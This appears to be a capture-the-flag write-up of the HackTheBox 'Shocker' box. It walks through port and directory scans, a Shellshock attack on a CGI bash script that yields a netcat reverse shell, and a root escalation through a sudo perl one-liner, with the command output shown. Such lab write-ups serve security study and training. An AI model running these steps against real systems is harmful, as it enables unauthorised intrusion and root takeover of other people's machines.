TL;DR
This is a walkthrough writeup on Shocker which is a Linux box categorized as easy on HackTheBox. The initial foothold was gained by discovering & exploiting the ShellShcok vulnerability to gain the user shell. Priviliege escalation part was relatively easy and was done by exploiting the SUDO permissions for the user. Overall, this was a pretty easy box with a primary focus on the Shellshock exploitation.
Walkthrough
Shocker Writeup: Scanning Network
Running the usual Nmap port scan :
Command used --> nmap -n -Pn -A -v -sC -sV -oN nmap.initial 10.10.10.56
Nmap scan report for 10.10.10.56
Host is up (0.17s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: POST OPTIONS GET HEAD
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).We got 2 open ports :
port 80 : Apache web-serverport 2222 : SSH
Shocker Writeup: Web Enumeration
Checking out the hosted website in our browser :
We get to see this image on the index page of the website –
/index.htmlRunning a Dirsearch Scan
dirsearch.py -u http://10.10.10.56/ -e php,html -o ./disearch_def.txt
403 297B http://10.10.10.56:80/.ht_wsr.txt
403 300B http://10.10.10.56:80/.htaccess.bak1
403 302B http://10.10.10.56:80/.htaccess.sample
403 300B http://10.10.10.56:80/.htaccess.orig
403 300B http://10.10.10.56:80/.htaccess.save
403 298B http://10.10.10.56:80/.htaccess_sc
403 301B http://10.10.10.56:80/.htaccess_extra
403 300B http://10.10.10.56:80/.htaccess_orig
403 298B http://10.10.10.56:80/.htaccessOLD
403 298B http://10.10.10.56:80/.htaccessBAK
403 299B http://10.10.10.56:80/.htaccessOLD2
403 290B http://10.10.10.56:80/.htm
403 291B http://10.10.10.56:80/.html
403 296B http://10.10.10.56:80/.htpasswds
403 297B http://10.10.10.56:80/.httr-oauth
403 300B http://10.10.10.56:80/.htpasswd_test
403 299B http://10.10.10.56:80/server-status
403 300B http://10.10.10.56:80/server-status/
403 294B http://10.10.10.56:80/cgi-bin/
200 137B http://10.10.10.56:80/index.htmlI was kinds stuck here, because we found nothing worth attacking.
But we see /cgi-bin/ directory which was forbidden & from my past experience I figured that this might lead us somewhere. So, I went ahead and launched a dirsearch scan on the /cgi-bin/ directory to discover any other interesting sub-directories or files inside this directory.
Usually the CGI scripts inside the /cgi-bin/ directory are compiled programs, so I added the extension flag in the dirsearch scan to discover any bash, php or python files : -e sh,py,php
# Dirsearch started Tue Nov 2 03:06:44 2021 as:
dirsearch.py -u http://10.10.10.56/cgi-bin/ -o ./dirsearch_cgi.txt -e sh,py,php
200 119B http://10.10.10.56:80/cgi-bin/user.shAnd indeed, we did find a potentially useful file /cgi-bin/user.sh
What is a CGI script ? -> In computing, Common Gateway Interface (CGI) is an interface specification that enables web servers to execute an external program, typically to process user requests. -> Such programs are often written in a scripting language and are commonly referred to as CGI scripts, but they may include compiled programs. -> CGI is used in Dynamic websites, because in static websites, there is no user input which needs to processed.
On visiting the user.sh file, we get the following file :
Content-Type: text/plain
Just an uptime test script
03:17:52 up 1:02, 0 users, load average: 0.00, 0.00, 0.00This looks like the output of the uptime command in Linux, verifying that this is a CGI bash script running on Shocker.
Shocker Writeup: Exploitation
Now, because the box name is “Shocker” and we have found a CGI bash script on the box. The foremost vulnerability that one should think of is the well known “ShellShock Vulnerability“.
Also, a quick google search about “cgi-bin exploits” will give you plenty or results about the ShellShock vulnerability.
(To be honest, I recently did a box from Vulnhub named SickOS 1.1 & the primary vulnerability in this box was also ShellShock, thus I had an idea about it)
What is Shell-shock ? -> Bash allows functions to be defined in environment variables. The vulnerability is caused by the fact that if an environment variable passed to a bash script & contains a function definition followed by arbitrary bash commands, those commands are executed. -> Before running a CGI script, Apache gives it some context by setting environment variables corresponding to some of the HTTP headers of the request, such as User-Agent, Cookie, Referer etc. Since those are fully user controlled, we can inject any payload we want in them & get RCE. You can read more about ShellShock here.
Manually Verifying ShellShock
We will use BurpSuite to send the malicious request and view the response from Shocker.
Alternatively, you can also run the nmap --script http-shellshock script on the target to check if it is vulnerable to ShellShock or not.
We can see the output “exploited” in the response, which verifies that Shocker is vulnerable to ShellShock, and thus we have RCE on the box. Let’s now obtain a reverse shell.
Shocker Writeup: User Flag ⛳
Exploiting RCE to get a reverse shell :
┌─[root@kali]─[~/Desktop/Boxes/HTB/Shocker]
└──╼ #nc -nvlp 6969
listening on [any] 6969 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.10.56] 33354
bash: no job control in this shell
shelly@Shocker:/usr/lib/cgi-bin$ whoami
shelly
shelly@Shocker:/usr/lib/cgi-bin$ id
uid=1000(shelly) gid=1000(shelly) groups=1000(shelly),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
shelly@Shocker:/usr/lib/cgi-bin$ pwd
/usr/lib/cgi-bin
shelly@Shocker:/usr/lib/cgi-bin$ cd /home
shelly@Shocker:/home$ ls -al
total 12
drwxr-xr-x 3 root root 4096 Sep 22 2017 .
drwxr-xr-x 23 root root 4096 Sep 22 2017 ..
drwxr-xr-x 4 shelly shelly 4096 Sep 22 2017 shelly
shelly@Shocker:/home$ cd shelly
shelly@Shocker:/home/shelly$ ls -al
total 36
drwxr-xr-x 4 shelly shelly 4096 Sep 22 2017 .
drwxr-xr-x 3 root root 4096 Sep 22 2017 ..
-rw------- 1 root root 0 Sep 25 2017 .bash_history
-rw-r--r-- 1 shelly shelly 220 Sep 22 2017 .bash_logout
-rw-r--r-- 1 shelly shelly 3771 Sep 22 2017 .bashrc
drwx------ 2 shelly shelly 4096 Sep 22 2017 .cache
drwxrwxr-x 2 shelly shelly 4096 Sep 22 2017 .nano
-rw-r--r-- 1 shelly shelly 655 Sep 22 2017 .profile
-rw-r--r-- 1 root root 66 Sep 22 2017 .selected_editor
-rw-r--r-- 1 shelly shelly 0 Sep 22 2017 .sudo_as_admin_successful
-r--r--r-- 1 root root 33 Nov 2 02:15 user.txt
shelly@Shocker:/home/shelly$ cat user.txt
102b4***************************Privilege Escalation
Checking the SUDO permissions for the user Shelly :
shelly@Shocker:/home/shelly$ sudo -l
sudo -l
Matching Defaults entries for shelly on Shocker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User shelly may run the following commands on Shocker:
(root) NOPASSWD: /usr/bin/perlGreat! We can excute /usr/bin/perl as root. It’s pretty straightforward to get an elevated root shell from here 🙂
Shocker Writeup: Root Flag ⛳
Executing /bin/bash through perl.
shelly@Shocker:/tmp$ sudo perl -e 'exec "/bin/bash"'
root@Shocker:/tmp# whoami
root
root@Shocker:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@Shocker:/tmp# cd /root
root@Shocker:~# ls
root.txt
root@Shocker:~# cat root.txt
a2a5***************************
So, that was all for Shocker. Until next time, do checkout other interesting writeups & articles on sheerazali.com
